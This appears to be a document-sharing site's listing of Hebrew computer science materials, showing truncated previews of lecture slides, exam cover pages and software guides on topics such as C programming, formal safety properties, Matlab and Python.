מקביליות תכונות בטיחות Safety Properties גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון 2 תזכורת: תכונות זמן ליניארי Linear Time Properties תכונות זמן-ליניארי מתארות קבוצת עקבות שהמערכת צריכה לייצר מכוונים ללוגיקה

קרא עוד

Slide 1

Slide 1 בעיית התוכנית הגדולה C תוכנית גדולה המבצעת פעולות רבות, יכולה להפוך לקשה מאוד לניהול אם נשתמש רק בכלים שלמדנו עד כה: 1. קשה לכתוב ולנפות את התוכנית,. קשה להבין אותה, 3. קשה לתחזק ולתקן אותה, 4. קשה להוסיף

קרא עוד

Slide 1

Slide 1 מבוא לשפת C תירגול 8: פונקציות שבוע שעבר... מערכים מיזוג מערכים ממויינים מערכים דו-ממדיים מבוא לשפת סי - תירגול 8 2 תוכנייה פונקציות ברמת התקשורת הבין-אישית חלוקה לתתי בעיות בדומה למפתח של ספר קריאות גבוהה

קרא עוד

הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפ

הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפ הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפורים נוספים... 11 1 Moodle חדש במערכת ה- מערכת מודל

קרא עוד

מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו

מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק א - השיטה הבינארית שיעור 5 ו- 1? ספירה בבסיס 2 ואיך אומרים "hello" עם 0 1 ממעגלים

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבו

אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשעז בחינה סופית מועד א', מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבו אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', 31.1.2017 מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבוני, דולב שרון הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה

קרא עוד

Microsoft Word B

Microsoft Word B מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: 1. ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב

קרא עוד

מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס "מבוא למחשב שפת C". בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה

מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס מבוא למחשב שפת C. בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס "מבוא למחשב שפת C". בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה לקורס. האשף קובע את סביבת הפיתוח כך שתתאים לצורכי הקורס.

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 3 תרגול מס' מתודות ותיכון לפי חוזים חוזה בין ספק ללקוח חוזה בין ספק ללקוח מגדיר עבור כל שרות: תנאי ללקוח - "תנאי קדם" precondition - - תנאי לספק "תנאי אחר".postcondition לקוח ספק 2 תנאי קדם )preconditions(

קרא עוד

PRESENTATION NAME

PRESENTATION  NAME נכתב ע"י כרמי גרושקו. כל הזכויות שמורות 2010 הטכניון, מכון טכנולוגי לישראל הקצאה דינמית )malloc( מערכים דו-מימדיים סיבוכיות: ניתוח כזכור, כדי לאחסן מידע עלינו לבקש זכרון ממערכת ההפעלה. 2 עד עכשיו: הגדרנו

קרא עוד

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 תשס"ח 2007. כל הזכויות שמורות לאוניברסיטה הפתוחה. בית ההוצאה לאור של האוניברסיטה הפתוחה, רח' רבוצקי 108 ת, "ד 808, רעננה 43107. The Open University of Israel, 108

קרא עוד

Microsoft PowerPoint - rec1.ppt

Microsoft PowerPoint - rec1.ppt תכנות מונחה עצמים בשפת ++C תר גול מ ספר 1 אוהד ב ר זילי אוניברסיטת תל א ביב חדש חדיש ומחודש תוספות של + +C לשפ ת C 1 #include Hello World using namespace std; int main() cout

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527 kadman11@gmail.com

קרא עוד

שקופית 1

שקופית 1 Computer Programming Summer 2017 תרגול 5 מערכים חד-מימדיים )תזכורת( לדוגמא: מערך בשם Arr בגודל 8 שאיבריו מטיפוס int 3 7 5 6 8 1 23 16 0 1 2 3 4 5 6 7 ב - arr[0] ב יושב ערך שהוא המספר השלם 3 arr[1] - יושב

קרא עוד

תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב

תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו אב תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב, מילה ושפה לטובת מי ששכח חומר זה, או שלא למדו מעולם,

קרא עוד

Overview of new Office 365 plans for SMBs

Overview of new Office 365 plans for SMBs מעבר בין חבילות Online מעבר בין חבילות ב- Open Online to Open Current Plan Upgrade Options Current Plan Upgrade Options Business Essentials Business Premium Enterprise E1 Enterprise E3/E4 Enterprise E1

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מהי סביבת איקס לימוד? סביבת איקס לימוד היא סביבה גמישה לתרגול היכולת לזכור ולהיזכר במושגים ועובדות מתחומי תוכן שונים על ידי התאמה. הסביבה מבוססת על המשחק 'איקס עיגול' והתוכן אותו מתרגלים יכול מסוג טקסט

קרא עוד

Microsoft PowerPoint - T-10.ppt [Compatibility Mode]

Microsoft PowerPoint - T-10.ppt [Compatibility Mode] מבוא למחשב בשפת Matlab לולאות בלוקי try-catch :10 תרגול מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור, סאהר אסמיר וטל כהן עבור הקורס "מבוא למדעי המחשב" נכתב על-ידי רמי כהן,אולג רוכלנקו,

קרא עוד

מקביליות

מקביליות תכונות שמורה Invariant Properties גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון 2 בדיקות מודל Checking( )Model מערכת דרישות מידול פירמול בדיקות מודל )Model Checking( מודל של המערכת תכונות פורמליות סימולציה

קרא עוד

Python 2.7 in Hebrew

Python 2.7 in Hebrew Python גרסה 7.2 זהר זילברמן גרסה 1.71 אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל דרך או אמצעי אלקטרוני, אופטי או מכני או אחר כל חלק שהוא מהחומר שבספר זה. שימוש מסחרי מכל

קרא עוד

PowerPoint Presentation

PowerPoint Presentation == vs equals תוכנה תרגול 7 :מנשקים, פולימורפיזם ועוד Point p = new Point(,) Point p = new Point(,) p == p p.equals(p) מתי נכון להשתמש בכל אחד מהם? שימו לב, במחלקה שכתבתם בעצמכם יש לכתוב מתודת equals על

קרא עוד

מדריך להתחלה מהירה Microsoft Project 2013 נראה שונה מגירסאות קודמות, ולכן יצרנו מדריך זה כדי לעזור לך ללמוד להכיר אותו. סרגל הכלים לגישה מהירה התאם אי

מדריך להתחלה מהירה Microsoft Project 2013 נראה שונה מגירסאות קודמות, ולכן יצרנו מדריך זה כדי לעזור לך ללמוד להכיר אותו. סרגל הכלים לגישה מהירה התאם אי מדריך להתחלה מהירה Microsoft Project 2013 נראה שונה מגירסאות קודמות, ולכן יצרנו מדריך זה כדי לעזור לך ללמוד להכיר אותו. סרגל הכלים לגישה מהירה התאם אישית את האזור הזה כדי שהפקודות המועדפות עליך יהיו תמיד

קרא עוד